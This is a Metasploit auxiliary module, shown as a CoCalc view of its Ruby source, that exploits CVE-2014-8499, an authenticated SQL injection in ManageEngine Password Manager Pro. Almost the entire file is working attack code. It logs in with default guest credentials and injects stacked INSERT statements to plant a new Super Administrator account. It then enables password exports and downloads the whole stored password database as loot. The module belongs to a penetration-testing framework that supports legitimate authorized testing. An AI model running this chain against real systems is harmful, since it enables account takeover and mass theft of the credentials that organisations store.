Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
15
'Description' => %q{
16
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
17
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
18
privileges and obtain Super Administrator access. A Super Administrator can then
19
use his privileges to dump the whole password database in CSV format. PMP can use
20
both MySQL and PostgreSQL databases but this module only exploits the latter as
21
MySQL does not support stacked queries with Java. PostgreSQL is the default database
22
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
23
so a higher version does not guarantee exploitability. This module has been tested
24
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
25
v7.1 build 7105 and above.
26
},
27
'Author' => [
28
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
[ 'CVE', '2014-8499' ],
33
[ 'OSVDB', '114485' ],
34
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ],
35
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],
36
],
37
'DisclosureDate' => '2014-11-08',
38
'Notes' => {
39
'Stability' => [CRASH_SAFE],
40
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
41
'Reliability' => []
42
}
43
)
44
)
45
46
register_options(
47
[
48
Opt::RPORT(7272),
49
OptBool.new('SSL', [true, 'Use SSL', true]),
50
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
51
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
52
OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/'])
53
]
54
)
55
end
56
57
def login(username, password)
58
# 1st step: we obtain a JSESSIONID cookie...
59
res = send_request_cgi({
60
'method' => 'GET',
61
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')
62
})
63
64
if res && res.code == 200
65
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
66
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/
67
orgn_name = ::Regexp.last_match(1)
68
else
69
orgn_name = nil
70
end
71
72
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/
73
authrule_name = ::Regexp.last_match(1)
74
else
75
authrule_name = nil
76
end
77
78
# 3rd step: we try to get the domainName for the user
79
cookie = res.get_cookies
80
res = send_request_cgi({
81
'method' => 'POST',
82
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
83
'ctype' => 'application/x-www-form-urlencoded',
84
'cookie' => cookie,
85
'vars_get' => {
86
'RequestType' => 'GetUserDomainName',
87
'userName' => username
88
}
89
})
90
if res && res.code == 200 && res.body
91
domain_name = res.body.to_s.strip
92
else
93
domain_name = nil
94
end
95
96
# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.
97
# For some reason send_request_cgi! doesn't work, so follow the redirect manually...
98
vars_post = {
99
'j_username' => username,
100
'username' => username,
101
'j_password' => password
102
}
103
vars_post['ORGN_NAME'] = orgn_name if orgn_name
104
vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name
105
vars_post['domainName'] = domain_name if domain_name
106
107
res = send_request_cgi({
108
'method' => 'POST',
109
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')),
110
'ctype' => 'application/x-www-form-urlencoded',
111
'cookie' => cookie,
112
'vars_post' => vars_post
113
})
114
if res && res.code == 302
115
res = send_request_cgi({
116
'method' => 'GET',
117
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
118
'cookie' => cookie
119
})
120
121
if res && res.code == 200
122
# 5th step: get the c ookies sent in the last response
123
return res.get_cookies
124
end
125
end
126
end
127
return nil
128
end
129
130
def inject_sql(old_style)
131
# On versions older than 7000 the injection is slightly different (we call it "old style").
132
# For "new style" versions we can escalate to super admin by doing
133
# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"
134
# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.
135
if old_style
136
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
137
else
138
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
139
end
140
141
user_id = Rex::Text.rand_text_numeric(4)
142
time = Rex::Text.rand_text_numeric(8)
143
username = Rex::Text.rand_text_alpha_lower(6)
144
username_chr = ''
145
username.each_char do |c|
146
username_chr << 'chr(' << c.ord.to_s << ')||'
147
end
148
username_chr.chop!.chop!
149
150
password = Rex::Text.rand_text_alphanumeric(10)
151
password_chr = ''
152
password.each_char do |c|
153
password_chr << 'chr(' << c.ord.to_s << ')||'
154
end
155
password_chr.chop!.chop!
156
157
group_chr = ''
158
'Default Group'.each_char do |c|
159
group_chr << 'chr(' << c.ord.to_s << ')||'
160
end
161
group_chr.chop!.chop!
162
163
sqli_command =
164
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \
165
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \
166
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \
167
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \
168
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \
169
"insert into aaaauthorizedrole values (#{user_id},1);" \
170
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
171
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \
172
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \
173
"insert into aaaaccpassword values (#{user_id},#{user_id});" \
174
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \
175
"insert into ptrx_superadmin values (#{user_id},true);"
176
sqli_suffix = '-- '
177
178
send_request_cgi({
179
'method' => 'POST',
180
'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'),
181
'cookie' => @cookie,
182
'vars_post' => {
183
'COUNT' => Rex::Text.rand_text_numeric(2),
184
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
185
'USERID' => Rex::Text.rand_text_numeric(4)
186
}
187
})
188
189
return [ username, password ]
190
end
191
192
def get_version
193
res = send_request_cgi({
194
'uri' => normalize_uri('PassTrixMain.cc'),
195
'method' => 'GET'
196
})
197
if res && res.code == 200 && res.body &&
198
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
199
(
200
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
201
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
202
res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7
203
)
204
return ::Regexp.last_match(1).to_i
205
else
206
return 9999
207
end
208
end
209
210
def check
211
version = get_version
212
case version
213
when 0..7104
214
return Exploit::CheckCode::Appears
215
when 7105..9998
216
return Exploit::CheckCode::Safe
217
else
218
return Exploit::CheckCode::Unknown
219
end
220
end
221
222
def run
223
unless check == Exploit::CheckCode::Appears
224
print_error("Fingerprint hasn't been successful, trying to exploit anyway...")
225
end
226
227
version = get_version
228
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
229
if @cookie.nil?
230
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
231
end
232
233
creds = inject_sql(version < 7000)
234
username = creds[0]
235
password = creds[1]
236
print_good("Created a new Super Administrator with username: #{username} | password: #{password}")
237
238
cookie_su = login(username, password)
239
240
if cookie_su.nil?
241
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
242
end
243
244
print_status('Reporting Super Administrator credentials...')
245
store_valid_credentail(user: username, private: password)
246
247
print_status('Leaking Password database...')
248
loot_passwords(cookie_su)
249
end
250
251
def service_details
252
super.merge({ access_level: 'Super Administrator' })
253
end
254
255
def loot_passwords(cookie_admin)
256
# 1st we turn on password exports
257
send_request_cgi({
258
'method' => 'POST',
259
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
260
'cookie' => cookie_admin,
261
'vars_post' => {
262
'IS_XLS' => 'true',
263
'includePasswd' => 'true',
264
'HOMETAB' => 'true',
265
'RESTAB' => 'true',
266
'RGTAB' => 'true',
267
'PASSWD_RULE' => 'Offline Password File',
268
'LOGOUT_TIME' => '20'
269
}
270
})
271
272
# now get the loot!
273
res = send_request_cgi({
274
'method' => 'GET',
275
'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),
276
'cookie' => cookie_admin,
277
'vars_get' => {
278
'RequestType' => 'ExportResources'
279
}
280
})
281
282
if res && res.code == 200 && res.body && !res.body.to_s.empty?
283
vprint_line(res.body.to_s)
284
print_good('Successfully exported password database from Password Manager Pro.')
285
loot_name = 'manageengine.passwordmanagerpro.password.db'
286
loot_type = 'text/csv'
287
loot_filename = 'manageengine_pmp_password_db.csv'
288
loot_desc = 'ManageEngine Password Manager Pro Password DB'
289
p = store_loot(
290
loot_name,
291
loot_type,
292
rhost,
293
res.body,
294
loot_filename,
295
loot_desc
296
)
297
print_status("Password database saved in: #{p}")
298
else
299
print_error('Failed to export Password Manager Pro passwords.')
300
end
301
end
302
end
303
304